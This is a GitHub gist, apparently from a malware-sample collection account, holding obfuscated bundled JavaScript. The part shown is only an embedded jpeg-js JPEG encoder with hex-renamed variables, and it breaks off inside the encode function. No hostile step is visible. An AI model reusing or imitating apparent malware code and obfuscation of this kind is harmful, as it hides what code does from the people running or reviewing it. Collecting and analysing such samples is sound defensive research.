Created
January 18, 2026 21:47
-
-
Save vxunderground/48a67e51b375b74be953511b9082f732 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var __create = Object.create, | |
| __defProp = Object.defineProperty, | |
| __getOwnPropDesc = Object["getOwnPropertyDescriptor"], | |
| __getOwnPropNames = Object.getOwnPropertyNames, | |
| __getProtoOf = Object.getPrototypeOf, | |
| __hasOwnProp = Object.prototype.hasOwnProperty, | |
| __commonJS = (_0x2932af, _0x51662d) => function _0x497924() { | |
| if (!_0x51662d) { | |
| (0x0, _0x2932af[__getOwnPropNames(_0x2932af)[0x0]])((_0x51662d = { | |
| exports: {} | |
| }).exports, _0x51662d); | |
| } | |
| return _0x51662d.exports; | |
| }, | |
| __copyProps = (_0x54e42, _0x2426ca, _0xa715f9, _0x1f7fdb) => { | |
| if (_0x2426ca && typeof _0x2426ca === "object" || typeof _0x2426ca === "function") { | |
| for (let _0x44abc7 of __getOwnPropNames(_0x2426ca)) { | |
| if (!__hasOwnProp.call(_0x54e42, _0x44abc7) && _0x44abc7 !== _0xa715f9) { | |
| __defProp(_0x54e42, _0x44abc7, { | |
| get: () => _0x2426ca[_0x44abc7], | |
| enumerable: !(_0x1f7fdb = __getOwnPropDesc(_0x2426ca, _0x44abc7)) || _0x1f7fdb.enumerable | |
| }); | |
| } | |
| } | |
| } | |
| return _0x54e42; | |
| }, | |
| __toESM = (_0x33e73e, _0x2931d6, _0x30216d) => (_0x30216d = _0x33e73e != null ? __create(__getProtoOf(_0x33e73e)) : {}, __copyProps(_0x2931d6 || !_0x33e73e || !_0x33e73e.__esModule ? __defProp(_0x30216d, "default", { | |
| value: _0x33e73e, | |
| enumerable: true | |
| }) : _0x30216d, _0x33e73e)), | |
| require_encoder = __commonJS({ | |
| 'node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/encoder.js'(_0x268cc8, _0x29b78a) { | |
| var _0x2582ec = _0x2582ec || function (_0x9c9ea8) { | |
| return Buffer.from(_0x9c9ea8).toString("base64"); | |
| }; | |
| function _0x5746ed(_0x10a898) { | |
| var _0x2365e5 = this, | |
| _0x2de662 = Math.round, | |
| _0x5c7368 = Math.floor, | |
| _0x4d8687 = new Array(0x40), | |
| _0x22d6da = new Array(0x40), | |
| _0x4e4837 = new Array(0x40), | |
| _0x27cf29 = new Array(0x40), | |
| _0x22d06e, | |
| _0xb384c, | |
| _0x550473, | |
| _0x5be634, | |
| _0x4f5de5 = new Array(0xffff), | |
| _0x222444 = new Array(0xffff), | |
| _0x85b147 = new Array(0x40), | |
| _0x2c3100 = new Array(0x40), | |
| _0x310888 = [], | |
| _0x29636c = 0x0, | |
| _0x2d12e3 = 0x7, | |
| _0x5e5fe2 = new Array(0x40), | |
| _0x28f601 = new Array(0x40), | |
| _0x1969f4 = new Array(0x40), | |
| _0x57ff81 = new Array(0x100), | |
| _0x1af8e9 = new Array(0x800), | |
| _0x550e96, | |
| _0x4a1cd3 = [0x0, 0x1, 0x5, 0x6, 0xe, 0xf, 0x1b, 0x1c, 0x2, 0x4, 0x7, 0xd, 0x10, 0x1a, 0x1d, 0x2a, 0x3, 0x8, 0xc, 0x11, 0x19, 0x1e, 0x29, 0x2b, 0x9, 0xb, 0x12, 0x18, 0x1f, 0x28, 0x2c, 0x35, 0xa, 0x13, 0x17, 0x20, 0x27, 0x2d, 0x34, 0x36, 0x14, 0x16, 0x21, 0x26, 0x2e, 0x33, 0x37, 0x3c, 0x15, 0x22, 0x25, 0x2f, 0x32, 0x38, 0x3b, 0x3d, 0x23, 0x24, 0x30, 0x31, 0x39, 0x3a, 0x3e, 0x3f], | |
| _0x3dce7a = [0x0, 0x0, 0x1, 0x5, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], | |
| _0x21ded4 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb], | |
| _0x39fc75 = [0x0, 0x0, 0x2, 0x1, 0x3, 0x3, 0x2, 0x4, 0x3, 0x5, 0x5, 0x4, 0x4, 0x0, 0x0, 0x1, 0x7d], | |
| _0x4e0c40 = [0x1, 0x2, 0x3, 0x0, 0x4, 0x11, 0x5, 0x12, 0x21, 0x31, 0x41, 0x6, 0x13, 0x51, 0x61, 0x7, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x8, 0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x9, 0xa, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa], | |
| _0x4e7eea = [0x0, 0x0, 0x3, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0], | |
| _0x431ba7 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb], | |
| _0x516ead = [0x0, 0x0, 0x2, 0x1, 0x2, 0x4, 0x4, 0x3, 0x4, 0x7, 0x5, 0x4, 0x4, 0x0, 0x1, 0x2, 0x77], | |
| _0x4b955e = [0x0, 0x1, 0x2, 0x3, 0x11, 0x4, 0x5, 0x21, 0x31, 0x6, 0x12, 0x41, 0x51, 0x7, 0x61, 0x71, 0x13, 0x22, 0x32, 0x81, 0x8, 0x14, 0x42, 0x91, 0xa1, 0xb1, 0xc1, 0x9, 0x23, 0x33, 0x52, 0xf0, 0x15, 0x62, 0x72, 0xd1, 0xa, 0x16, 0x24, 0x34, 0xe1, 0x25, 0xf1, 0x17, 0x18, 0x19, 0x1a, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa]; | |
| function _0x45af9b(_0x4e7ce8) { | |
| var _0x56b19b = [0x10, 0xb, 0xa, 0x10, 0x18, 0x28, 0x33, 0x3d, 0xc, 0xc, 0xe, 0x13, 0x1a, 0x3a, 0x3c, 0x37, 0xe, 0xd, 0x10, 0x18, 0x28, 0x39, 0x45, 0x38, 0xe, 0x11, 0x16, 0x1d, 0x33, 0x57, 0x50, 0x3e, 0x12, 0x16, 0x25, 0x38, 0x44, 0x6d, 0x67, 0x4d, 0x18, 0x23, 0x37, 0x40, 0x51, 0x68, 0x71, 0x5c, 0x31, 0x40, 0x4e, 0x57, 0x67, 0x79, 0x78, 0x65, 0x48, 0x5c, 0x5f, 0x62, 0x70, 0x64, 0x67, 0x63]; | |
| for (var _0x110395 = 0x0; _0x110395 < 0x40; _0x110395++) { | |
| var _0x1636f7 = _0x5c7368((_0x56b19b[_0x110395] * _0x4e7ce8 + 0x32) / 0x64); | |
| if (_0x1636f7 < 0x1) { | |
| _0x1636f7 = 0x1; | |
| } else if (_0x1636f7 > 0xff) { | |
| _0x1636f7 = 0xff; | |
| } | |
| _0x4d8687[_0x4a1cd3[_0x110395]] = _0x1636f7; | |
| } | |
| var _0xda127e = [0x11, 0x12, 0x18, 0x2f, 0x63, 0x63, 0x63, 0x63, 0x12, 0x15, 0x1a, 0x42, 0x63, 0x63, 0x63, 0x63, 0x18, 0x1a, 0x38, 0x63, 0x63, 0x63, 0x63, 0x63, 0x2f, 0x42, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63]; | |
| for (var _0x4b3153 = 0x0; _0x4b3153 < 0x40; _0x4b3153++) { | |
| var _0x2f1e35 = _0x5c7368((_0xda127e[_0x4b3153] * _0x4e7ce8 + 0x32) / 0x64); | |
| if (_0x2f1e35 < 0x1) { | |
| _0x2f1e35 = 0x1; | |
| } else if (_0x2f1e35 > 0xff) { | |
| _0x2f1e35 = 0xff; | |
| } | |
| _0x22d6da[_0x4a1cd3[_0x4b3153]] = _0x2f1e35; | |
| } | |
| var _0x1a56a4 = [0x1, 1.387039845, 1.306562965, 1.175875602, 0x1, 0.785694958, 0.5411961, 0.275899379], | |
| _0x580a98 = 0x0; | |
| for (var _0x436669 = 0x0; _0x436669 < 0x8; _0x436669++) { | |
| for (var _0x1e43ea = 0x0; _0x1e43ea < 0x8; _0x1e43ea++) { | |
| _0x4e4837[_0x580a98] = 0x1 / (_0x4d8687[_0x4a1cd3[_0x580a98]] * _0x1a56a4[_0x436669] * _0x1a56a4[_0x1e43ea] * 0x8); | |
| _0x27cf29[_0x580a98] = 0x1 / (_0x22d6da[_0x4a1cd3[_0x580a98]] * _0x1a56a4[_0x436669] * _0x1a56a4[_0x1e43ea] * 0x8); | |
| _0x580a98++; | |
| } | |
| } | |
| } | |
| function _0x5b8ea6(_0x1135ce, _0xf2a445) { | |
| var _0x18e834 = 0x0, | |
| _0x339a55 = 0x0, | |
| _0xd460ed = new Array(); | |
| for (var _0x4f2a3c = 0x1; _0x4f2a3c <= 0x10; _0x4f2a3c++) { | |
| for (var _0x4df205 = 0x1; _0x4df205 <= _0x1135ce[_0x4f2a3c]; _0x4df205++) { | |
| _0xd460ed[_0xf2a445[_0x339a55]] = []; | |
| _0xd460ed[_0xf2a445[_0x339a55]][0x0] = _0x18e834; | |
| _0xd460ed[_0xf2a445[_0x339a55]][0x1] = _0x4f2a3c; | |
| _0x339a55++; | |
| _0x18e834++; | |
| } | |
| _0x18e834 *= 0x2; | |
| } | |
| return _0xd460ed; | |
| } | |
| function _0x4ddccf() { | |
| _0x22d06e = _0x5b8ea6(_0x3dce7a, _0x21ded4); | |
| _0xb384c = _0x5b8ea6(_0x4e7eea, _0x431ba7); | |
| _0x550473 = _0x5b8ea6(_0x39fc75, _0x4e0c40); | |
| _0x5be634 = _0x5b8ea6(_0x516ead, _0x4b955e); | |
| } | |
| function _0x115fcd() { | |
| var _0x521d19 = 0x1, | |
| _0x51b2d0 = 0x2; | |
| for (var _0x42a06e = 0x1; _0x42a06e <= 0xf; _0x42a06e++) { | |
| for (var _0x162024 = _0x521d19; _0x162024 < _0x51b2d0; _0x162024++) { | |
| _0x222444[0x7fff + _0x162024] = _0x42a06e; | |
| _0x4f5de5[0x7fff + _0x162024] = []; | |
| _0x4f5de5[0x7fff + _0x162024][0x1] = _0x42a06e; | |
| _0x4f5de5[0x7fff + _0x162024][0x0] = _0x162024; | |
| } | |
| for (var _0x3e368f = -(_0x51b2d0 - 0x1); _0x3e368f <= -_0x521d19; _0x3e368f++) { | |
| _0x222444[0x7fff + _0x3e368f] = _0x42a06e; | |
| _0x4f5de5[0x7fff + _0x3e368f] = []; | |
| _0x4f5de5[0x7fff + _0x3e368f][0x1] = _0x42a06e; | |
| _0x4f5de5[0x7fff + _0x3e368f][0x0] = _0x51b2d0 - 0x1 + _0x3e368f; | |
| } | |
| _0x521d19 <<= 0x1; | |
| _0x51b2d0 <<= 0x1; | |
| } | |
| } | |
| function _0x1bbcc9() { | |
| for (var _0x562b72 = 0x0; _0x562b72 < 0x100; _0x562b72++) { | |
| _0x1af8e9[_0x562b72] = 0x4c8b * _0x562b72; | |
| _0x1af8e9[_0x562b72 + 0x100 >> 0x0] = 0x9646 * _0x562b72; | |
| _0x1af8e9[_0x562b72 + 0x200 >> 0x0] = 0x1d2f * _0x562b72 + 0x8000; | |
| _0x1af8e9[_0x562b72 + 0x300 >> 0x0] = -0x2b33 * _0x562b72; | |
| _0x1af8e9[_0x562b72 + 0x400 >> 0x0] = -0x54cd * _0x562b72; | |
| _0x1af8e9[_0x562b72 + 0x500 >> 0x0] = 0x8000 * _0x562b72 + 0x807fff; | |
| _0x1af8e9[_0x562b72 + 0x600 >> 0x0] = -0x6b2f * _0x562b72; | |
| _0x1af8e9[_0x562b72 + 0x700 >> 0x0] = -0x14d1 * _0x562b72; | |
| } | |
| } | |
| function _0xbcf968(_0x5f21da) { | |
| var _0x4835b0 = _0x5f21da[0x0], | |
| _0x375e6 = _0x5f21da[0x1] - 0x1; | |
| while (_0x375e6 >= 0x0) { | |
| if (_0x4835b0 & 0x1 << _0x375e6) { | |
| _0x29636c |= 0x1 << _0x2d12e3; | |
| } | |
| _0x375e6--; | |
| _0x2d12e3--; | |
| if (_0x2d12e3 < 0x0) { | |
| _0x17b379(0xff); | |
| if (_0x29636c == 0xff) { | |
| _0x17b379(0x0); | |
| } else { | |
| _0x17b379(_0x29636c); | |
| } | |
| _0x2d12e3 = 0x7; | |
| _0x29636c = 0x0; | |
| } | |
| } | |
| } | |
| function _0x17b379(_0x438a04) { | |
| _0x310888.push(_0x438a04); | |
| } | |
| function _0x1bd773(_0x108a87) { | |
| _0x17b379(_0x108a87 >> 0x8 & 0xff); | |
| _0x17b379(_0x108a87 & 0xff); | |
| } | |
| function _0x27034d(_0x5d6b5a, _0x386fc4) { | |
| var _0x45fdc9, | |
| _0x5dd031, | |
| _0x4a646b, | |
| _0x5e042f, | |
| _0x292339, | |
| _0x1d6046, | |
| _0x287d61, | |
| _0x2bfb10, | |
| _0x5dc5d6 = 0x0, | |
| _0x5b59f8, | |
| _0x568a87 = 0x8, | |
| _0xe05cfe = 0x40; | |
| for (_0x5b59f8 = 0x0; _0x5b59f8 < _0x568a87; ++_0x5b59f8) { | |
| _0x45fdc9 = _0x5d6b5a[_0x5dc5d6]; | |
| _0x5dd031 = _0x5d6b5a[_0x5dc5d6 + 0x1]; | |
| _0x4a646b = _0x5d6b5a[_0x5dc5d6 + 0x2]; | |
| _0x5e042f = _0x5d6b5a[_0x5dc5d6 + 0x3]; | |
| _0x292339 = _0x5d6b5a[_0x5dc5d6 + 0x4]; | |
| _0x1d6046 = _0x5d6b5a[_0x5dc5d6 + 0x5]; | |
| _0x287d61 = _0x5d6b5a[_0x5dc5d6 + 0x6]; | |
| _0x2bfb10 = _0x5d6b5a[_0x5dc5d6 + 0x7]; | |
| var _0x552467 = _0x45fdc9 + _0x2bfb10, | |
| _0x4831b4 = _0x45fdc9 - _0x2bfb10, | |
| _0x5025c1 = _0x5dd031 + _0x287d61, | |
| _0x3b8ad5 = _0x5dd031 - _0x287d61, | |
| _0x5302ec = _0x4a646b + _0x1d6046, | |
| _0x4d1fa7 = _0x4a646b - _0x1d6046, | |
| _0x3b087d = _0x5e042f + _0x292339, | |
| _0x21e537 = _0x5e042f - _0x292339, | |
| _0x397523 = _0x552467 + _0x3b087d, | |
| _0x393e1e = _0x552467 - _0x3b087d, | |
| _0x1b7e1c = _0x5025c1 + _0x5302ec, | |
| _0x5863fe = _0x5025c1 - _0x5302ec; | |
| _0x5d6b5a[_0x5dc5d6] = _0x397523 + _0x1b7e1c; | |
| _0x5d6b5a[_0x5dc5d6 + 0x4] = _0x397523 - _0x1b7e1c; | |
| var _0x139d04 = (_0x5863fe + _0x393e1e) * 0.707106781; | |
| _0x5d6b5a[_0x5dc5d6 + 0x2] = _0x393e1e + _0x139d04; | |
| _0x5d6b5a[_0x5dc5d6 + 0x6] = _0x393e1e - _0x139d04; | |
| _0x397523 = _0x21e537 + _0x4d1fa7; | |
| _0x1b7e1c = _0x4d1fa7 + _0x3b8ad5; | |
| _0x5863fe = _0x3b8ad5 + _0x4831b4; | |
| var _0xa713f2 = (_0x397523 - _0x5863fe) * 0.382683433, | |
| _0x149218 = 0.5411961 * _0x397523 + _0xa713f2, | |
| _0x4eec71 = 1.306562965 * _0x5863fe + _0xa713f2, | |
| _0x518106 = _0x1b7e1c * 0.707106781, | |
| _0xd83207 = _0x4831b4 + _0x518106, | |
| _0x29eeda = _0x4831b4 - _0x518106; | |
| _0x5d6b5a[_0x5dc5d6 + 0x5] = _0x29eeda + _0x149218; | |
| _0x5d6b5a[_0x5dc5d6 + 0x3] = _0x29eeda - _0x149218; | |
| _0x5d6b5a[_0x5dc5d6 + 0x1] = _0xd83207 + _0x4eec71; | |
| _0x5d6b5a[_0x5dc5d6 + 0x7] = _0xd83207 - _0x4eec71; | |
| _0x5dc5d6 += 0x8; | |
| } | |
| _0x5dc5d6 = 0x0; | |
| for (_0x5b59f8 = 0x0; _0x5b59f8 < _0x568a87; ++_0x5b59f8) { | |
| _0x45fdc9 = _0x5d6b5a[_0x5dc5d6]; | |
| _0x5dd031 = _0x5d6b5a[_0x5dc5d6 + 0x8]; | |
| _0x4a646b = _0x5d6b5a[_0x5dc5d6 + 0x10]; | |
| _0x5e042f = _0x5d6b5a[_0x5dc5d6 + 0x18]; | |
| _0x292339 = _0x5d6b5a[_0x5dc5d6 + 0x20]; | |
| _0x1d6046 = _0x5d6b5a[_0x5dc5d6 + 0x28]; | |
| _0x287d61 = _0x5d6b5a[_0x5dc5d6 + 0x30]; | |
| _0x2bfb10 = _0x5d6b5a[_0x5dc5d6 + 0x38]; | |
| var _0x32ff9d = _0x45fdc9 + _0x2bfb10, | |
| _0x31d7e1 = _0x45fdc9 - _0x2bfb10, | |
| _0xd6050 = _0x5dd031 + _0x287d61, | |
| _0x175a9c = _0x5dd031 - _0x287d61, | |
| _0x7f10d3 = _0x4a646b + _0x1d6046, | |
| _0x43ba8c = _0x4a646b - _0x1d6046, | |
| _0x65dd66 = _0x5e042f + _0x292339, | |
| _0x303f3a = _0x5e042f - _0x292339, | |
| _0x25dc14 = _0x32ff9d + _0x65dd66, | |
| _0x34b34a = _0x32ff9d - _0x65dd66, | |
| _0x5d680c = _0xd6050 + _0x7f10d3, | |
| _0x3411f9 = _0xd6050 - _0x7f10d3; | |
| _0x5d6b5a[_0x5dc5d6] = _0x25dc14 + _0x5d680c; | |
| _0x5d6b5a[_0x5dc5d6 + 0x20] = _0x25dc14 - _0x5d680c; | |
| var _0xc4657c = (_0x3411f9 + _0x34b34a) * 0.707106781; | |
| _0x5d6b5a[_0x5dc5d6 + 0x10] = _0x34b34a + _0xc4657c; | |
| _0x5d6b5a[_0x5dc5d6 + 0x30] = _0x34b34a - _0xc4657c; | |
| _0x25dc14 = _0x303f3a + _0x43ba8c; | |
| _0x5d680c = _0x43ba8c + _0x175a9c; | |
| _0x3411f9 = _0x175a9c + _0x31d7e1; | |
| var _0x21fa77 = (_0x25dc14 - _0x3411f9) * 0.382683433, | |
| _0x758542 = 0.5411961 * _0x25dc14 + _0x21fa77, | |
| _0x518670 = 1.306562965 * _0x3411f9 + _0x21fa77, | |
| _0x330be0 = _0x5d680c * 0.707106781, | |
| _0x4e1e44 = _0x31d7e1 + _0x330be0, | |
| _0x278316 = _0x31d7e1 - _0x330be0; | |
| _0x5d6b5a[_0x5dc5d6 + 0x28] = _0x278316 + _0x758542; | |
| _0x5d6b5a[_0x5dc5d6 + 0x18] = _0x278316 - _0x758542; | |
| _0x5d6b5a[_0x5dc5d6 + 0x8] = _0x4e1e44 + _0x518670; | |
| _0x5d6b5a[_0x5dc5d6 + 0x38] = _0x4e1e44 - _0x518670; | |
| _0x5dc5d6++; | |
| } | |
| var _0x54e85b; | |
| for (_0x5b59f8 = 0x0; _0x5b59f8 < _0xe05cfe; ++_0x5b59f8) { | |
| _0x54e85b = _0x5d6b5a[_0x5b59f8] * _0x386fc4[_0x5b59f8]; | |
| _0x85b147[_0x5b59f8] = _0x54e85b > 0x0 ? _0x54e85b + 0.5 | 0x0 : _0x54e85b - 0.5 | 0x0; | |
| } | |
| return _0x85b147; | |
| } | |
| function _0x47bf49() { | |
| _0x1bd773(0xffe0); | |
| _0x1bd773(0x10); | |
| _0x17b379(0x4a); | |
| _0x17b379(0x46); | |
| _0x17b379(0x49); | |
| _0x17b379(0x46); | |
| _0x17b379(0x0); | |
| _0x17b379(0x1); | |
| _0x17b379(0x1); | |
| _0x17b379(0x0); | |
| _0x1bd773(0x1); | |
| _0x1bd773(0x1); | |
| _0x17b379(0x0); | |
| _0x17b379(0x0); | |
| } | |
| function _0x403e61(_0x57b33c) { | |
| if (!_0x57b33c) { | |
| return; | |
| } | |
| _0x1bd773(0xffe1); | |
| if (_0x57b33c[0x0] === 0x45 && _0x57b33c[0x1] === 0x78 && _0x57b33c[0x2] === 0x69 && _0x57b33c[0x3] === 0x66) { | |
| _0x1bd773(_0x57b33c.length + 0x2); | |
| } else { | |
| _0x1bd773(_0x57b33c.length + 0x5 + 0x2); | |
| _0x17b379(0x45); | |
| _0x17b379(0x78); | |
| _0x17b379(0x69); | |
| _0x17b379(0x66); | |
| _0x17b379(0x0); | |
| } | |
| for (var _0xc68c6c = 0x0; _0xc68c6c < _0x57b33c.length; _0xc68c6c++) { | |
| _0x17b379(_0x57b33c[_0xc68c6c]); | |
| } | |
| } | |
| function _0x267ce9(_0x3a45b5, _0x4e3124) { | |
| _0x1bd773(0xffc0); | |
| _0x1bd773(0x11); | |
| _0x17b379(0x8); | |
| _0x1bd773(_0x4e3124); | |
| _0x1bd773(_0x3a45b5); | |
| _0x17b379(0x3); | |
| _0x17b379(0x1); | |
| _0x17b379(0x11); | |
| _0x17b379(0x0); | |
| _0x17b379(0x2); | |
| _0x17b379(0x11); | |
| _0x17b379(0x1); | |
| _0x17b379(0x3); | |
| _0x17b379(0x11); | |
| _0x17b379(0x1); | |
| } | |
| function _0xeb99dd() { | |
| _0x1bd773(0xffdb); | |
| _0x1bd773(0x84); | |
| _0x17b379(0x0); | |
| for (var _0x10604e = 0x0; _0x10604e < 0x40; _0x10604e++) { | |
| _0x17b379(_0x4d8687[_0x10604e]); | |
| } | |
| _0x17b379(0x1); | |
| for (var _0x505a4f = 0x0; _0x505a4f < 0x40; _0x505a4f++) { | |
| _0x17b379(_0x22d6da[_0x505a4f]); | |
| } | |
| } | |
| function _0x4af419() { | |
| _0x1bd773(0xffc4); | |
| _0x1bd773(0x1a2); | |
| _0x17b379(0x0); | |
| for (var _0x53f2d1 = 0x0; _0x53f2d1 < 0x10; _0x53f2d1++) { | |
| _0x17b379(_0x3dce7a[_0x53f2d1 + 0x1]); | |
| } | |
| for (var _0x33f8a1 = 0x0; _0x33f8a1 <= 0xb; _0x33f8a1++) { | |
| _0x17b379(_0x21ded4[_0x33f8a1]); | |
| } | |
| _0x17b379(0x10); | |
| for (var _0x59392f = 0x0; _0x59392f < 0x10; _0x59392f++) { | |
| _0x17b379(_0x39fc75[_0x59392f + 0x1]); | |
| } | |
| for (var _0x383dad = 0x0; _0x383dad <= 0xa1; _0x383dad++) { | |
| _0x17b379(_0x4e0c40[_0x383dad]); | |
| } | |
| _0x17b379(0x1); | |
| for (var _0x4aabe5 = 0x0; _0x4aabe5 < 0x10; _0x4aabe5++) { | |
| _0x17b379(_0x4e7eea[_0x4aabe5 + 0x1]); | |
| } | |
| for (var _0x1081a5 = 0x0; _0x1081a5 <= 0xb; _0x1081a5++) { | |
| _0x17b379(_0x431ba7[_0x1081a5]); | |
| } | |
| _0x17b379(0x11); | |
| for (var _0x4a9dff = 0x0; _0x4a9dff < 0x10; _0x4a9dff++) { | |
| _0x17b379(_0x516ead[_0x4a9dff + 0x1]); | |
| } | |
| for (var _0x42b796 = 0x0; _0x42b796 <= 0xa1; _0x42b796++) { | |
| _0x17b379(_0x4b955e[_0x42b796]); | |
| } | |
| } | |
| function _0x4b4acd(_0x1ba7f0) { | |
| if (typeof _0x1ba7f0 === "undefined" || _0x1ba7f0.constructor !== Array) { | |
| return; | |
| } | |
| _0x1ba7f0.forEach(_0x38f430 => { | |
| if (typeof _0x38f430 !== "string") { | |
| return; | |
| } | |
| _0x1bd773(0xfffe); | |
| var _0x217b6f = _0x38f430.length; | |
| _0x1bd773(_0x217b6f + 0x2); | |
| var _0x59c2c1; | |
| for (_0x59c2c1 = 0x0; _0x59c2c1 < _0x217b6f; _0x59c2c1++) { | |
| _0x17b379(_0x38f430.charCodeAt(_0x59c2c1)); | |
| } | |
| }); | |
| } | |
| function _0x3075cb() { | |
| _0x1bd773(0xffda); | |
| _0x1bd773(0xc); | |
| _0x17b379(0x3); | |
| _0x17b379(0x1); | |
| _0x17b379(0x0); | |
| _0x17b379(0x2); | |
| _0x17b379(0x11); | |
| _0x17b379(0x3); | |
| _0x17b379(0x11); | |
| _0x17b379(0x0); | |
| _0x17b379(0x3f); | |
| _0x17b379(0x0); | |
| } | |
| function _0x2c5065(_0x3d4836, _0x49e285, _0x3dafff, _0x22d4fc, _0x4cb28f) { | |
| var _0x511bcd = _0x4cb28f[0x0], | |
| _0x23f8b6 = _0x4cb28f[0xf0], | |
| _0x33cd3d, | |
| _0x1f450f = 0x10, | |
| _0x1f8781 = 0x3f, | |
| _0x508f6b = 0x40, | |
| _0xad8dd9 = _0x27034d(_0x3d4836, _0x49e285); | |
| for (var _0xa38f12 = 0x0; _0xa38f12 < _0x508f6b; ++_0xa38f12) { | |
| _0x2c3100[_0x4a1cd3[_0xa38f12]] = _0xad8dd9[_0xa38f12]; | |
| } | |
| var _0x4b4161 = _0x2c3100[0x0] - _0x3dafff; | |
| _0x3dafff = _0x2c3100[0x0]; | |
| if (_0x4b4161 == 0x0) { | |
| _0xbcf968(_0x22d4fc[0x0]); | |
| } else { | |
| _0x33cd3d = 0x7fff + _0x4b4161; | |
| _0xbcf968(_0x22d4fc[_0x222444[_0x33cd3d]]); | |
| _0xbcf968(_0x4f5de5[_0x33cd3d]); | |
| } | |
| var _0xbe6211 = 0x3f; | |
| for (; _0xbe6211 > 0x0 && _0x2c3100[_0xbe6211] == 0x0; _0xbe6211--) {} | |
| ; | |
| if (_0xbe6211 == 0x0) { | |
| _0xbcf968(_0x511bcd); | |
| return _0x3dafff; | |
| } | |
| var _0x32d017 = 0x1, | |
| _0xfe84c3; | |
| while (_0x32d017 <= _0xbe6211) { | |
| var _0x31e807 = _0x32d017; | |
| for (; _0x2c3100[_0x32d017] == 0x0 && _0x32d017 <= _0xbe6211; ++_0x32d017) {} | |
| var _0x126886 = _0x32d017 - _0x31e807; | |
| if (_0x126886 >= _0x1f450f) { | |
| _0xfe84c3 = _0x126886 >> 0x4; | |
| for (var _0x2c62f2 = 0x1; _0x2c62f2 <= _0xfe84c3; ++_0x2c62f2) { | |
| _0xbcf968(_0x23f8b6); | |
| } | |
| _0x126886 = _0x126886 & 0xf; | |
| } | |
| _0x33cd3d = 0x7fff + _0x2c3100[_0x32d017]; | |
| _0xbcf968(_0x4cb28f[(_0x126886 << 0x4) + _0x222444[_0x33cd3d]]); | |
| _0xbcf968(_0x4f5de5[_0x33cd3d]); | |
| _0x32d017++; | |
| } | |
| if (_0xbe6211 != _0x1f8781) { | |
| _0xbcf968(_0x511bcd); | |
| } | |
| return _0x3dafff; | |
| } | |
| function _0x4f2e88() { | |
| var _0x3543eb = String.fromCharCode; | |
| for (var _0x33eca2 = 0x0; _0x33eca2 < 0x100; _0x33eca2++) { | |
| _0x57ff81[_0x33eca2] = _0x3543eb(_0x33eca2); | |
| } | |
| } | |
| this.encode = function (_0xa857d7, _0xc7f40f) { | |
| var _0xd0c886 = new Date().getTime(); | |
| if (_0xc7f40f) { | |
| _0x24b6fc(_0xc7f40f); | |
| } | |
| _0x310888 = new Array(); | |
| _0x29636c = 0x0; | |
| _0x2d12e3 = 0x7; | |
| _0x1bd773(0xffd8); | |
| _0x47bf49(); | |
